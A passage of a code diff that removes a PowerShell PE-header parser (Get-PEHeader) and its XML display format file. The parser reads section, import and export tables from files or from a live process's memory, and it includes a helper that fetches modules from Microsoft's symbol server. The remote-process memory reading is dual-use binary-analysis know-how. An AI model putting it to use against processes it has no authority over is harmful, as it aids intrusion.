$ThunkDataStruct = [PE+_IMAGE_THUNK_DATA64]
|
||||
|
||||
Write-Verbose "Architecture: $Architecture"
|
||||
Write-Verbose 'Proceeding with parsing a 64-bit binary.'
|
||||
|
||||
} elseif ($Architecture -eq 'I386' -or $Architecture -eq 'ARMNT' -or $Architecture -eq 'THUMB') {
|
||||
|
||||
$PEStruct = @{
|
||||
IMAGE_OPTIONAL_HEADER = [PE+_IMAGE_OPTIONAL_HEADER32]
|
||||
NT_HEADER = [PE+_IMAGE_NT_HEADERS32]
|
||||
}
|
||||
|
||||
$ThunkDataStruct = [PE+_IMAGE_THUNK_DATA32]
|
||||
|
||||
Write-Verbose "Architecture: $Architecture"
|
||||
Write-Verbose 'Proceeding with parsing a 32-bit binary.'
|
||||
|
||||
} else {
|
||||
|
||||
Write-Warning 'Get-PEHeader only supports binaries compiled for x86, AMD64, and ARM.'
|
||||
return
|
||||
|
||||
}
|
||||
|
||||
# Need to get a new NT header in case the architecture changed
|
||||
$NtHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PointerNtHeader, [Type] $PEStruct['NT_HEADER'])
|
||||
# Display all section headers
|
||||
$NumSections = $NtHeader.FileHeader.NumberOfSections
|
||||
$NumRva = $NtHeader.OptionalHeader.NumberOfRvaAndSizes
|
||||
$PointerSectionHeader = [IntPtr] ($PointerNtHeader.ToInt64() + [System.Runtime.InteropServices.Marshal]::SizeOf([Type] $PEStruct['NT_HEADER']))
|
||||
$SectionHeaders = New-Object PSObject[]($NumSections)
|
||||
foreach ($i in 0..($NumSections - 1))
|
||||
{
|
||||
$SectionHeaders[$i] = [System.Runtime.InteropServices.Marshal]::PtrToStructure(([IntPtr] ($PointerSectionHeader.ToInt64() + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type] [PE+_IMAGE_SECTION_HEADER])))), [Type] [PE+_IMAGE_SECTION_HEADER])
|
||||
}
|
||||
|
||||
|
||||
if (!$OnDisk) {
|
||||
|
||||
$ReadSize = $NtHeader.OptionalHeader.SizeOfImage
|
||||
# Free memory allocated for the PE header
|
||||
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($PEBaseAddr)
|
||||
$PEBaseAddr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($ReadSize + 1)
|
||||
|
||||
# Read process memory of each section header
|
||||
foreach ($SectionHeader in $SectionHeaders) {
|
||||
if (!$ReadProcessMemory.Invoke($hProcess, [IntPtr] ($ModuleBaseAddress.ToInt64() + $SectionHeader.VirtualAddress), [IntPtr] ($PEBaseAddr.ToInt64() + $SectionHeader.VirtualAddress), $SectionHeader.VirtualSize, [Ref] 0)) {
|
||||
if ($ModuleName) {
|
||||
Write-Warning "Failed to read $($SectionHeader.Name) section of $ModuleName"
|
||||
} else {
|
||||
Write-Warning "Failed to read $($SectionHeader.Name) section of process ID: $ProcessID"
|
||||
}
|
||||
|
||||
Write-Warning "Error code: 0x$([System.Runtime.InteropServices.Marshal]::GetLastWin32Error().ToString('X8'))"
|
||||
$CloseHandle.Invoke($hProcess) | Out-Null
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
# Close handle to the remote process since we no longer need to access the process.
|
||||
$CloseHandle.Invoke($hProcess) | Out-Null
|
||||
|
||||
}
|
||||
|
||||
if ($PSBoundParameters['GetSectionData'])
|
||||
{
|
||||
foreach ($i in 0..($NumSections - 1))
|
||||
{
|
||||
$RawBytes = $null
|
||||
|
||||
if ($OnDisk)
|
||||
{
|
||||
$RawBytes = New-Object Byte[]($SectionHeaders[$i].SizeOfRawData)
|
||||
[Runtime.InteropServices.Marshal]::Copy([IntPtr] ($PEBaseAddr.ToInt64() + $SectionHeaders[$i].PointerToRawData), $RawBytes, 0, $SectionHeaders[$i].SizeOfRawData)
|
||||
}
|
||||
else
|
||||
{
|
||||
$RawBytes = New-Object Byte[]($SectionHeaders[$i].VirtualSize)
|
||||
[Runtime.InteropServices.Marshal]::Copy([IntPtr] ($PEBaseAddr.ToInt64() + $SectionHeaders[$i].VirtualAddress), $RawBytes, 0, $SectionHeaders[$i].VirtualSize)
|
||||
}
|
||||
|
||||
$SectionHeaders[$i] = Add-Member -InputObject ($SectionHeaders[$i]) -MemberType NoteProperty -Name RawData -Value $RawBytes -PassThru -Force
|
||||
}
|
||||
}
|
||||
|
||||
function Get-Exports()
|
||||
{
|
||||
|
||||
if ($NTHeader.OptionalHeader.DataDirectory[0].VirtualAddress -eq 0) {
|
||||
Write-Verbose 'Module does not contain any exports'
|
||||
return
|
||||
}
|
||||
|
||||
# List all function Rvas in the export table
|
||||
$ExportPointer = [IntPtr] ($PEBaseAddr.ToInt64() + $NtHeader.OptionalHeader.DataDirectory[0].VirtualAddress)
|
||||
# This range will be used to test for the existence of forwarded functions
|
||||
$ExportDirLow = $NtHeader.OptionalHeader.DataDirectory[0].VirtualAddress
|
||||
if ($OnDisk) {
|
||||
$ExportPointer = Convert-RVAToFileOffset $ExportPointer
|
||||
$ExportDirLow = Convert-RVAToFileOffset $ExportDirLow
|
||||
$ExportDirHigh = $ExportDirLow.ToInt32() + $NtHeader.OptionalHeader.DataDirectory[0].Size
|
||||
} else { $ExportDirHigh = $ExportDirLow + $NtHeader.OptionalHeader.DataDirectory[0].Size }
|
||||
|
||||
$ExportDirectory = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ExportPointer, [Type] [PE+_IMAGE_EXPORT_DIRECTORY])
|
||||
$AddressOfNamePtr = [IntPtr] ($PEBaseAddr.ToInt64() + $ExportDirectory.AddressOfNames)
|
||||
$NameOrdinalAddrPtr = [IntPtr] ($PEBaseAddr.ToInt64() + $ExportDirectory.AddressOfNameOrdinals)
|
||||
$AddressOfFunctionsPtr = [IntPtr] ($PEBaseAddr.ToInt64() + $ExportDirectory.AddressOfFunctions)
|
||||
$NumNamesFuncs = $ExportDirectory.NumberOfFunctions - $ExportDirectory.NumberOfNames
|
||||
$NumNames = $ExportDirectory.NumberOfNames
|
||||
$NumFunctions = $ExportDirectory.NumberOfFunctions
|
||||
$Base = $ExportDirectory.Base
|
||||
|
||||
# Recalculate file offsets based upon relative virtual addresses
|
||||
if ($OnDisk) {
|
||||
$AddressOfNamePtr = Convert-RVAToFileOffset $AddressOfNamePtr
|
||||
$NameOrdinalAddrPtr = Convert-RVAToFileOffset $NameOrdinalAddrPtr
|
||||
$AddressOfFunctionsPtr = Convert-RVAToFileOffset $AddressOfFunctionsPtr
|
||||
}
|
||||
|
||||
if ($NumFunctions -gt 0) {
|
||||
|
||||
# Create an empty hash table that will contain indices to exported functions and their RVAs
|
||||
$FunctionHashTable = @{}
|
||||
|
||||
foreach ($i in 0..($NumFunctions - 1))
|
||||
{
|
||||
|
||||
$RvaFunction = [System.Runtime.InteropServices.Marshal]::ReadInt32($AddressOfFunctionsPtr.ToInt64() + ($i * 4))
|
||||
# Function is exported by ordinal if $RvaFunction -ne 0. I.E. NumberOfFunction != the number of actual, exported functions.
|
||||
if ($RvaFunction) { $FunctionHashTable[[Int]$i] = $RvaFunction }
|
||||
|
||||
}
|
||||
|
||||
# Create an empty hash table that will contain indices into RVA array and the function's name
|
||||
$NameHashTable = @{}
|
||||
|
||||
foreach ($i in 0..($NumNames - 1))
|
||||
{
|
||||
|
||||
$RvaName = [System.Runtime.InteropServices.Marshal]::ReadInt32($AddressOfNamePtr.ToInt64() + ($i * 4))
|
||||
$FuncNameAddr = [IntPtr] ($PEBaseAddr.ToInt64() + $RvaName)
|
||||
if ($OnDisk) { $FuncNameAddr= Convert-RVAToFileOffset $FuncNameAddr }
|
||||
$FuncName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($FuncNameAddr)
|
||||
$NameOrdinal = [Int][System.Runtime.InteropServices.Marshal]::ReadInt16($NameOrdinalAddrPtr.ToInt64() + ($i * 2))
|
||||
$NameHashTable[$NameOrdinal] = $FuncName
|
||||
|
||||
}
|
||||
|
||||
foreach ($Key in $FunctionHashTable.Keys)
|
||||
{
|
||||
$Result = @{}
|
||||
|
||||
if ($NameHashTable[$Key]) {
|
||||
$Result['FunctionName'] = $NameHashTable[$Key]
|
||||
} else {
|
||||
$Result['FunctionName'] = ''
|
||||
}
|
||||
|
||||
if (($FunctionHashTable[$Key] -ge $ExportDirLow) -and ($FunctionHashTable[$Key] -lt $ExportDirHigh)) {
|
||||
$ForwardedNameAddr = [IntPtr] ($PEBaseAddr.ToInt64() + $FunctionHashTable[$Key])
|
||||
if ($OnDisk) { $ForwardedNameAddr = Convert-RVAToFileOffset $ForwardedNameAddr }
|
||||
$ForwardedName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ForwardedNameAddr)
|
||||
# This script does not attempt to resolve the virtual addresses of forwarded functions
|
||||
$Result['ForwardedName'] = $ForwardedName
|
||||
} else {
|
||||
$Result['ForwardedName'] = ''
|
||||
}
|
||||
|
||||
$Result['Ordinal'] = "0x$(($Key + $Base).ToString('X4'))"
|
||||
$Result['RVA'] = "0x$($FunctionHashTable[$Key].ToString("X$($BinaryPtrWidth*2)"))"
|
||||
#$Result['VA'] = "0x$(($FunctionHashTable[$Key] + $PEBaseAddr.ToInt64()).ToString("X$($BinaryPtrWidth*2)"))"
|
||||
|
||||
$Export = New-Object PSObject -Property $Result
|
||||
$Export.PSObject.TypeNames.Insert(0, 'Export')
|
||||
|
||||
$Export
|
||||
|
||||
}
|
||||
|
||||
} else { Write-Verbose 'Module does not export any functions.' }
|
||||
|
||||
}
|
||||
|
||||
function Get-Imports()
|
||||
{
|
||||
if ($NTHeader.OptionalHeader.DataDirectory[1].VirtualAddress -eq 0) {
|
||||
Write-Verbose 'Module does not contain any imports'
|
||||
return
|
||||
}
|
||||
|
||||
$FirstImageImportDescriptorPtr = [IntPtr] ($PEBaseAddr.ToInt64() + $NtHeader.OptionalHeader.DataDirectory[1].VirtualAddress)
|
||||
if ($OnDisk) { $FirstImageImportDescriptorPtr = Convert-RVAToFileOffset $FirstImageImportDescriptorPtr }
|
||||
$ImportDescriptorPtr = $FirstImageImportDescriptorPtr
|
||||
|
||||
$i = 0
|
||||
# Get all imported modules
|
||||
while ($true)
|
||||
{
|
||||
$ImportDescriptorPtr = [IntPtr] ($FirstImageImportDescriptorPtr.ToInt64() + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type] [PE+_IMAGE_IMPORT_DESCRIPTOR])))
|
||||
$ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, [Type] [PE+_IMAGE_IMPORT_DESCRIPTOR])
|
||||
if ($ImportDescriptor.OriginalFirstThunk -eq 0) { break }
|
||||
$DllNamePtr = [IntPtr] ($PEBaseAddr.ToInt64() + $ImportDescriptor.Name)
|
||||
if ($OnDisk) { $DllNamePtr = Convert-RVAToFileOffset $DllNamePtr }
|
||||
$DllName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($DllNamePtr)
|
||||
$FirstFuncAddrPtr = [IntPtr] ($PEBaseAddr.ToInt64() + $ImportDescriptor.FirstThunk)
|
||||
if ($OnDisk) { $FirstFuncAddrPtr = Convert-RVAToFileOffset $FirstFuncAddrPtr }
|
||||
$FuncAddrPtr = $FirstFuncAddrPtr
|
||||
$FirstOFTPtr = [IntPtr] ($PEBaseAddr.ToInt64() + $ImportDescriptor.OriginalFirstThunk)
|
||||
if ($OnDisk) { $FirstOFTPtr = Convert-RVAToFileOffset $FirstOFTPtr }
|
||||
$OFTPtr = $FirstOFTPtr
|
||||
$j = 0
|
||||
while ($true)
|
||||
{
|
||||
$FuncAddrPtr = [IntPtr] ($FirstFuncAddrPtr.ToInt64() + ($j * [System.Runtime.InteropServices.Marshal]::SizeOf([Type] $ThunkDataStruct)))
|
||||
$FuncAddr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FuncAddrPtr, [Type] $ThunkDataStruct)
|
||||
$OFTPtr = [IntPtr] ($FirstOFTPtr.ToInt64() + ($j * [System.Runtime.InteropServices.Marshal]::SizeOf([Type] $ThunkDataStruct)))
|
||||
$ThunkData = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OFTPtr, [Type] $ThunkDataStruct)
|
||||
$Result = @{ ModuleName = $DllName }
|
||||
|
||||
if (([System.Convert]::ToString($ThunkData.AddressOfData, 2)).PadLeft(32, '0')[0] -eq '1')
|
||||
{
|
||||
# Trim high order bit in order to get the ordinal value
|
||||
$TempOrdinal = [System.Convert]::ToInt64(([System.Convert]::ToString($ThunkData.AddressOfData, 2))[1..63] -join '', 2)
|
||||
$TempOrdinal = $TempOrdinal.ToString('X16')[-1..-4]
|
||||
[Array]::Reverse($TempOrdinal)
|
||||
$Ordinal = ''
|
||||
$TempOrdinal | ForEach-Object { $Ordinal += $_ }
|
||||
$Result['Ordinal'] = "0x$Ordinal"
|
||||
$Result['FunctionName'] = ''
|
||||
}
|
||||
else
|
||||
{
|
||||
$ImportByNamePtr = [IntPtr] ($PEBaseAddr.ToInt64() + [Int64]$ThunkData.AddressOfData + 2)
|
||||
if ($OnDisk) { $ImportByNamePtr = Convert-RVAToFileOffset $ImportByNamePtr }
|
||||
$FuncName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportByNamePtr)
|
||||
$Result['Ordinal'] = ''
|
||||
$Result['FunctionName'] = $FuncName
|
||||
}
|
||||
|
||||
$Result['RVA'] = "0x$($FuncAddr.AddressOfData.ToString("X$($BinaryPtrWidth*2)"))"
|
||||
|
||||
if ($FuncAddr.AddressOfData -eq 0) { break }
|
||||
if ($OFTPtr -eq 0) { break }
|
||||
|
||||
$Import = New-Object PSObject -Property $Result
|
||||
$Import.PSObject.TypeNames.Insert(0, 'Import')
|
||||
|
||||
$Import
|
||||
|
||||
$j++
|
||||
|
||||
}
|
||||
|
||||
$i++
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
function Convert-RVAToFileOffset([IntPtr] $Rva)
|
||||
{
|
||||
|
||||
foreach ($Section in $SectionHeaders) {
|
||||
if ((($Rva.ToInt64() - $PEBaseAddr.ToInt64()) -ge $Section.VirtualAddress) -and (($Rva.ToInt64() - $PEBaseAddr.ToInt64()) -lt ($Section.VirtualAddress + $Section.VirtualSize))) {
|
||||
return [IntPtr] ($Rva.ToInt64() - ($Section.VirtualAddress - $Section.PointerToRawData))
|
||||
}
|
||||
}
|
||||
|
||||
# Pointer did not fall in the address ranges of the section headers
|
||||
return $Rva
|
||||
|
||||
}
|
||||
|
||||
$PEFields = @{
|
||||
Module = $ModuleName
|
||||
DOSHeader = $DosHeader
|
||||
PESignature = $NTHeader.Signature
|
||||
FileHeader = $NTHeader.FileHeader
|
||||
OptionalHeader = $NTHeader.OptionalHeader
|
||||
SectionHeaders = $SectionHeaders
|
||||
Imports = Get-Imports
|
||||
Exports = Get-Exports
|
||||
}
|
||||
|
||||
if ($Ondisk) {
|
||||
$Handle.Free()
|
||||
} else {
|
||||
# Free memory allocated for the PE header
|
||||
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($PEBaseAddr)
|
||||
}
|
||||
|
||||
$PEHeader = New-Object PSObject -Property $PEFields
|
||||
$PEHeader.PSObject.TypeNames.Insert(0, 'PEHeader')
|
||||
|
||||
$ScriptBlock = {
|
||||
$SymServerURL = 'http://msdl.microsoft.com/download/symbols'
|
||||
$FileName = $this.Module.Split('\')[-1]
|
||||
$Request = "{0}/{1}/{2:X8}{3:X}/{1}" -f $SymServerURL, $FileName, $this.FileHeader.TimeDateStamp, $this.OptionalHeader.SizeOfImage
|
||||
$Request = "$($Request.Substring(0, $Request.Length - 1))_"
|
||||
$WebClient = New-Object Net.WebClient
|
||||
$WebClient.Headers.Add('User-Agent', 'Microsoft-Symbol-Server/6.6.0007.5')
|
||||
Write-Host "Downloading $FileName from the Microsoft symbol server..."
|
||||
$CabBytes = $WebClient.DownloadData($Request)
|
||||
$CabPath = "$PWD\$($FileName.Split('.')[0]).cab"
|
||||
Write-Host "Download complete. Saving it to $("$(Split-Path $CabPath)\$FileName")."
|
||||
[IO.File]::WriteAllBytes($CabPath, $CabBytes)
|
||||
$Shell = New-Object -Comobject Shell.Application
|
||||
$CabFile = $Shell.Namespace($CabPath).Items()
|
||||
$Destination = $Shell.Namespace((Split-Path $CabPath))
|
||||
$Destination.CopyHere($CabFile)
|
||||
Remove-Item $CabPath -Force
|
||||
}
|
||||
|
||||
$PEHeader = Add-Member -InputObject $PEHeader -MemberType ScriptMethod -Name DownloadFromMSSymbolServer -Value $ScriptBlock -PassThru -Force
|
||||
|
||||
return $PEHeader
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
@@ -1,374 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8" ?>
|
||||
<Configuration>
|
||||
<SelectionSets>
|
||||
<SelectionSet>
|
||||
<Name>OptionHeaderTypes</Name>
|
||||
<Types>
|
||||
<TypeName>PE+_IMAGE_OPTIONAL_HEADER32</TypeName>
|
||||
<TypeName>PE+_IMAGE_OPTIONAL_HEADER64</TypeName>
|
||||
</Types>
|
||||
</SelectionSet>
|
||||
</SelectionSets>
|
||||
<ViewDefinitions>
|
||||
<View>
|
||||
<Name>PEView</Name>
|
||||
<ViewSelectedBy>
|
||||
<TypeName>PEHeader</TypeName>
|
||||
</ViewSelectedBy>
|
||||
<ListControl>
|
||||
<ListEntries>
|
||||
<ListEntry>
|
||||
<ListItems>
|
||||
<ListItem>
|
||||
<PropertyName>Module</PropertyName>
|
||||
</ListItem>
|
||||
<ListItem>
|
||||
<PropertyName>DOSHeader</PropertyName>
|
||||
</ListItem>
|
||||
<ListItem>
|
||||
<PropertyName>FileHeader</PropertyName>
|
||||
</ListItem>
|
||||
<ListItem>
|
||||
<PropertyName>OptionalHeader</PropertyName>
|
||||
</ListItem>
|
||||
<ListItem>
|
||||
<PropertyName>SectionHeaders</PropertyName>
|
||||
</ListItem>
|
||||
<ListItem>
|
||||
<PropertyName>Imports</PropertyName>
|
||||
</ListItem>
|
||||
<ListItem>
|
||||
<PropertyName>Exports</PropertyName>
|
||||
</ListItem>
|
||||
</ListItems>
|
||||
</ListEntry>
|
||||
</ListEntries>
|
||||
</ListControl>
|
||||
</View>
|
||||
<View>
|
||||
<Name>OptionalHeaderView</Name>
|
||||
<ViewSelectedBy>
|
||||
<SelectionSetName>OptionHeaderTypes</SelectionSetName>
|
||||
</ViewSelectedBy>
|
||||
<ListControl>
|
||||
<ListEntries>
|
||||
<ListEntry>
|
||||
<ListItems>
|
||||
<ListItem>
|
||||
<PropertyName>Magic</PropertyName>
|
||||
</ListItem>
|
||||
<ListItem>
|
||||
<PropertyName>MajorLinkerVersion</PropertyName>
|
||||
</ListItem>
|
||||
<ListItem>
|
||||
<PropertyName>MinorLinkerVersion</PropertyName>
|
||||
</ListItem>
|
||||
<ListItem>
|
||||
<Label>SizeOfCode</Label>
|
||||
<ScriptBlock>"0x$($_.SizeOfCode.ToString('X8'))"</ScriptBlock>
|
||||
</ListItem>
|
||||
<ListItem>
|
||||
<Label>SizeOfInitializedData</Label>
|
||||
<ScriptBlock>"0x$($_.SizeOfInitializedData.ToString('X8'))"</ScriptBlock>
|
||||
</ListItem>
|
||||
<ListItem>
|
||||
<Label>SizeOfUninitializedData</Label>
|
||||
<ScriptBlock>"0x$($_.SizeOfUninitializedData.ToString('X8'))"</ScriptBlock>
|
||||
</ListItem>
|
||||
<ListItem>
|
||||
<Label>AddressOfEntryPoint</Label>
|
||||
<ScriptBlock>"0x$($_.AddressOfEntryPoint.ToString('X8'))"</ScriptBlock>
|
||||
</ListItem>
|
||||
<ListItem>
|
||||
<Label>BaseOfCode</Label>
|
||||
<ScriptBlock>"0x$($_.BaseOfCode.ToString('X8'))"</ScriptBlock>
|
||||
</ListItem>
|
||||
<ListItem>
|
||||
<Label>BaseOfData</Label>
|
||||
<ScriptBlock>"0x$($_.BaseOfData.ToString('X8'))"</ScriptBlock>
|
||||
</ListItem>
|
||||
<ListItem>
|
||||
<Label>ImageBase</Label>
|
||||
<ScriptBlock>if ($_.Magic.ToString() -eq 'PE32') { "0x$($_.ImageBase.ToString('X8'))" } else { "0x$($_.ImageBase.ToString('X16'))" }</ScriptBlock>
|
||||
</ListItem>
|
||||
<ListItem>
|
||||
<Label>SectionAlignment</Label>
|
||||
<ScriptBlock>"0x$($_.SectionAlignment.ToString('X8'))"</ScriptBlock>
|
||||
</ListItem>
|
||||
<ListItem>
|
||||
<Label>FileAlignment</Label>
|
||||
<ScriptBlock>"0x$($_.FileAlignment.ToString('X8'))"</ScriptBlock>
|
||||
</ListItem>
|
||||
<ListItem>
|
||||
<PropertyName>MajorOperatingSystemVersion</PropertyName>
|
||||
</ListItem>
|
||||
<ListItem>
|
||||
<PropertyName>MinorOperatingSystemVersion</PropertyName>
|
||||
</ListItem>
|
||||
<ListItem>
|
||||
<PropertyName>MajorSubsystemVersion</PropertyName>
|
||||
</ListItem>
|
||||
<ListItem>
|
||||
<PropertyName>MinorSubsystemVersion</PropertyName>
|
||||
</ListItem>
|
||||
<ListItem>
|
||||
<PropertyName>Win32VersionValue</PropertyName>
|
||||
</ListItem>
|
||||
<ListItem>
|
||||
<Label>SizeOfImage</Label>
|
||||
<ScriptBlock>"0x$($_.SizeOfImage.ToString('X8'))"</ScriptBlock>
|
||||
</ListItem>
|
||||
<ListItem>
|
||||
<Label>SizeOfHeaders</Label>
|
||||
<ScriptBlock>"0x$($_.SizeOfHeaders.ToString('X8'))"</ScriptBlock>
|
||||
</ListItem>
|
||||
<ListItem>
|
||||
<Label>CheckSum</Label>
|
||||
<ScriptBlock>"0x$($_.CheckSum.ToString('X8'))"</ScriptBlock>
|
||||
</ListItem>
|
||||
<ListItem>
|
||||
<PropertyName>Subsystem</PropertyName>
|
||||
</ListItem>
|
||||
<ListItem>
|
||||
<PropertyName>DllCharacteristics</PropertyName>
|
||||
</ListItem>
|
||||
<ListItem>
|
||||
<Label>SizeOfStackReserve</Label>
|
||||
<ScriptBlock>if ($_.Magic.ToString() -eq 'PE32') { "0x$($_.SizeOfStackReserve.ToString('X8'))" } else { "0x$($_.SizeOfStackReserve.ToString('X16'))" }</ScriptBlock>
|
||||
</ListItem>
|
||||
<ListItem>
|
||||
<Label>SizeOfStackCommit</Label>
|
||||
<ScriptBlock>if ($_.Magic.ToString() -eq 'PE32') { "0x$($_.SizeOfStackCommit.ToString('X8'))" } else { "0x$($_.SizeOfStackCommit.ToString('X16'))" }</ScriptBlock>
|
||||
</ListItem>
|
||||
<ListItem>
|
||||
<Label>SizeOfHeapReserve</Label>
|
||||
<ScriptBlock>if ($_.Magic.ToString() -eq 'PE32') { "0x$($_.SizeOfHeapReserve.ToString('X8'))" } else { "0x$($_.SizeOfHeapReserve.ToString('X16'))" }</ScriptBlock>
|
||||
</ListItem>
|
||||
<ListItem>
|
||||
<Label>SizeOfHeapCommit</Label>
|
||||
<ScriptBlock>if ($_.Magic.ToString() -eq 'PE32') { "0x$($_.SizeOfHeapCommit.ToString('X8'))" } else { "0x$($_.SizeOfHeapCommit.ToString('X16'))" }</ScriptBlock>
|
||||
</ListItem>
|
||||
<ListItem>
|
||||
<PropertyName>LoaderFlags</PropertyName>
|
||||
</ListItem>
|
||||
<ListItem>
|
||||
<PropertyName>NumberOfRvaAndSizes</PropertyName>
|
||||
</ListItem>
|
||||
<ListItem>
|
||||
<PropertyName>DataDirectory</PropertyName>
|
||||
</ListItem>
|
||||
</ListItems>
|
||||
</ListEntry>
|
||||
</ListEntries>
|
||||
</ListControl>
|
||||
</View>
|
||||
<View>
|
||||
<Name>SectionHeaderView</Name>
|
||||
<ViewSelectedBy>
|
||||
<TypeName>PE+_IMAGE_SECTION_HEADER</TypeName>
|
||||
</ViewSelectedBy>
|
||||
<TableControl>
|
||||
<AutoSize/>
|
||||
<TableHeaders>
|
||||
<TableColumnHeader>
|
||||
<Label>Name</Label>
|
||||
<Alignment>Right</Alignment>
|
||||
</TableColumnHeader>
|
||||
<TableColumnHeader>
|
||||
<Label>VirtualSize</Label>
|
||||
</TableColumnHeader>
|
||||
<TableColumnHeader>
|
||||
<Label>VirtualAddress</Label>
|
||||
</TableColumnHeader>
|
||||
<TableColumnHeader>
|
||||
<Label>SizeOfRawData</Label>
|
||||
</TableColumnHeader>
|
||||
<TableColumnHeader>
|
||||
<Label>PointerToRawData</Label>
|
||||
</TableColumnHeader>
|
||||
<TableColumnHeader>
|
||||
<Label>Characteristics</Label>
|
||||
<Alignment>Left</Alignment>
|
||||
</TableColumnHeader>
|
||||
</TableHeaders>
|
||||
<TableRowEntries>
|
||||
<TableRowEntry>
|
||||
<TableColumnItems>
|
||||
<TableColumnItem>
|
||||
<Alignment>Right</Alignment>
|
||||
<PropertyName>Name</PropertyName>
|
||||
</TableColumnItem>
|
||||
<TableColumnItem>
|
||||
<ScriptBlock>"0x$($_.VirtualSize.ToString('X8'))"</ScriptBlock>
|
||||
</TableColumnItem>
|
||||
<TableColumnItem>
|
||||
<ScriptBlock>"0x$($_.VirtualAddress.ToString('X8'))"</ScriptBlock>
|
||||
</TableColumnItem>
|
||||
<TableColumnItem>
|
||||
<ScriptBlock>"0x$($_.SizeOfRawData.ToString('X8'))"</ScriptBlock>
|
||||
</TableColumnItem>
|
||||
<TableColumnItem>
|
||||
<ScriptBlock>"0x$($_.PointerToRawData.ToString('X8'))"</ScriptBlock>
|
||||
</TableColumnItem>
|
||||
<TableColumnItem>
|
||||
<PropertyName>Characteristics</PropertyName>
|
||||
</TableColumnItem>
|
||||
</TableColumnItems>
|
||||
</TableRowEntry>
|
||||
</TableRowEntries>
|
||||
</TableControl>
|
||||
</View>
|
||||
<View>
|
||||
<Name>FileHeaderView</Name>
|
||||
<ViewSelectedBy>
|
||||
<TypeName>PE+_IMAGE_FILE_HEADER</TypeName>
|
||||
</ViewSelectedBy>
|
||||
<ListControl>
|
||||
<ListEntries>
|
||||
<ListEntry>
|
||||
<ListItems>
|
||||
<ListItem>
|
||||
<PropertyName>Machine</PropertyName>
|
||||
</ListItem>
|
||||
<ListItem>
|
||||
<PropertyName>NumberOfSections</PropertyName>
|
||||
</ListItem>
|
||||
<ListItem>
|
||||
<Label>TimeDateStamp</Label>
|
||||
<!-- GMT compile time -->
|
||||
<ScriptBlock>(New-Object DateTime(1970, 1, 1, 0, 0, 0)).AddSeconds($_.TimeDateStamp)</ScriptBlock>
|
||||
<!-- Compile time assuming it was compiled in Redmond, Washington (PST - GMT-8) -->
|
||||
<!-- <ScriptBlock>(New-Object DateTime(1969, 12, 31, 16, 0, 0)).AddSeconds($_.TimeDateStamp)</ScriptBlock> -->
|
||||
</ListItem>
|
||||
<ListItem>
|
||||
<PropertyName>PointerToSymbolTable</PropertyName>
|
||||
</ListItem>
|
||||
<ListItem>
|
||||
<PropertyName>NumberOfSymbols</PropertyName>
|
||||
</ListItem>
|
||||
<ListItem>
|
||||
<PropertyName>SizeOfOptionalHeader</PropertyName>
|
||||
</ListItem>
|
||||
<ListItem>
|
||||
<PropertyName>Characteristics</PropertyName>
|
||||
</ListItem>
|
||||
</ListItems>
|
||||
</ListEntry>
|
||||
</ListEntries>
|
||||
</ListControl>
|
||||
</View>
|
||||
<View>
|
||||
<Name>DataDirectoryView</Name>
|
||||
<ViewSelectedBy>
|
||||
<TypeName>PE+_IMAGE_DATA_DIRECTORY</TypeName>
|
||||
</ViewSelectedBy>
|
||||
<TableControl>
|
||||
<AutoSize/>
|
||||
<TableHeaders>
|
||||
<TableColumnHeader>
|
||||
<Label>VirtualAddress</Label>
|
||||
</TableColumnHeader>
|
||||
<TableColumnHeader>
|
||||
<Label>Size</Label>
|
||||
</TableColumnHeader>
|
||||
</TableHeaders>
|
||||
<TableRowEntries>
|
||||
<TableRowEntry>
|
||||
<TableColumnItems>
|
||||
<TableColumnItem>
|
||||
<ScriptBlock>"0x$($_.VirtualAddress.ToString('X8'))"</ScriptBlock>
|
||||
</TableColumnItem>
|
||||
<TableColumnItem>
|
||||
<ScriptBlock>"0x$($_.Size.ToString('X8'))"</ScriptBlock>
|
||||
</TableColumnItem>
|
||||
</TableColumnItems>
|
||||
</TableRowEntry>
|
||||
</TableRowEntries>
|
||||
</TableControl>
|
||||
</View>
|
||||
<View>
|
||||
<Name>ImportView</Name>
|
||||
<ViewSelectedBy>
|
||||
<TypeName>Import</TypeName>
|
||||
</ViewSelectedBy>
|
||||
<TableControl>
|
||||
<AutoSize/>
|
||||
<TableHeaders>
|
||||
<TableColumnHeader>
|
||||
<Label>ModuleName</Label>
|
||||
<Alignment>Right</Alignment>
|
||||
</TableColumnHeader>
|
||||
<TableColumnHeader>
|
||||
<Label>VA/FT</Label>
|
||||
</TableColumnHeader>
|
||||
<TableColumnHeader>
|
||||
<Label>Ordinal</Label>
|
||||
</TableColumnHeader>
|
||||
<TableColumnHeader>
|
||||
<Label>FunctionName</Label>
|
||||
</TableColumnHeader>
|
||||
</TableHeaders>
|
||||
<TableRowEntries>
|
||||
<TableRowEntry>
|
||||
<TableColumnItems>
|
||||
<TableColumnItem>
|
||||
<Alignment>Right</Alignment>
|
||||
<PropertyName>ModuleName</PropertyName>
|
||||
</TableColumnItem>
|
||||
<TableColumnItem>
|
||||
<PropertyName>RVA</PropertyName>
|
||||
</TableColumnItem>
|
||||
<TableColumnItem>
|
||||
<PropertyName>Ordinal</PropertyName>
|
||||
</TableColumnItem>
|
||||
<TableColumnItem>
|
||||
<PropertyName>FunctionName</PropertyName>
|
||||
</TableColumnItem>
|
||||
</TableColumnItems>
|
||||
</TableRowEntry>
|
||||
</TableRowEntries>
|
||||
</TableControl>
|
||||
</View>
|
||||
<View>
|
||||
<Name>ExportView</Name>
|
||||
<ViewSelectedBy>
|
||||
<TypeName>Export</TypeName>
|
||||
</ViewSelectedBy>
|
||||
<TableControl>
|
||||
